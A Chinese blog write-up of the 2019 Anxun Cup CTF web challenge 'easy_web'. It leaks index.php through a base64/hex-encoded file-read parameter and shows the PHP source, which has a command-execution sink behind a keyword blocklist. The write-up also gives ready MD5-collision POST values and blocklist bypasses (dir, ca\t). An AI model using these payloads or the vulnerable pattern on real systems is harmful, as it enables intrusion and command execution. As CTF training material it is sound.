安洵杯2019

easy_web

进入题目观察到url有点信息特别是cmd和img

尝试cmd=ls发现被禁止了说明Index.php中有waf禁止了一些参数,具体只有看到index.php源码才能进一步判断

接下来就看到了img这个参数看起来有点想是base64编码后的

当时看到有这个(红色标记的地方)我就一直点没想到后头就真有东西出来

最后的结果就是555.png,唉当时看到555.png还是没什么思路,当时不晓得为什么还想将444.png和333.png重新按照555.png编码

结果是没有任何反应,当时就卡住了没有一点思路,后面看到wp才晓得这个时候应该是编码index.php而不是你胡想的参数(现在想来也是,没源码你这个题你根本就做不了,所以一切都要围绕看到index.php的源码前提下)

观察到有base64,估计index.php的内容经过base64编码了(其实当时,我访问了555.png并且将图片下载了本地然后base64编码了一次就和img src=’data’:images/gif;base,内容太多了就不沾了,一样了)

简单的代码审计主要考点是md5强比较绕过之前做过basectf2024也是考到一样的点,没想到这2019出的题对2024都还有帮助,可见这题是多么的经典。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

没啥好说的直接用工具fastcoll。工具的使用fastcoll.exe -o a a1,生成的两个文件a,a1就是两个不同文件但md5后是相同的最后经过urlencode一次就行(当时我想偷懒直接在Cyber上直接编码,发现传上去的数据怎么也不对,无语😶,最后写了下代码才成功)

1
2
<?php
echo urlencode(file_get_contents('a1'));
1
a=%EE%AA%03%C7Iz%28%1F%9E%1FX%B0%F3%0C%F7L%24%E5F%E7%F7%3BV%CAO69%C6%D308%D2Z%F3%BA%04%ECh-Ek%04g%B2%A2%3B%14%1AR%7C%EBA%F2%95%24%A59%15%0Dp%13%8C%ED%C5%D7%15%E2%7F%B7%9E%AE%F3%DC%87v%3Ck%F6%AE%BDy%D5q%C5x%01%BF%0B%EC%08a%16O%C7%9D%8D%09%B0v%3FOw%3B%87%7Ef%09J%8B%D4%FD%9B%D20%21g%95%D8Cm%AE%93%B5%EC%89%3F%13%DD&b=%EE%AA%03%C7Iz%28%1F%9E%1FX%B0%F3%0C%F7L%24%E5Fg%F7%3BV%CAO69%C6%D308%D2Z%F3%BA%04%ECh-Ek%04g%B2%A2%BB%14%1AR%7C%EBA%F2%95%24%A59%15%0D%F0%13%8C%ED%C5%D7%15%E2%7F%B7%9E%AE%F3%DC%87v%3Ck%F6%AE%BDy%D5qEx%01%BF%0B%EC%08a%16O%C7%9D%8D%09%B0v%3FOw%3B%87%7Ef%09J%8BT%FD%9B%D20%21g%95%D8Cm%AE%93%B5l%89%3F%13%DD

最后一个过滤了很多就是没过滤dir和要用cat的话反斜杠绕过(\)即可

最后简单总结下:题目虽然不是很难,对我来说唯一难点就是找index.php的源码其他没啥over


安洵杯2019
https://yankun8.github.io/blog/2025/03/18/CTF/安洵杯2019/wp/
作者
yankun
发布于
2025年3月18日
许可协议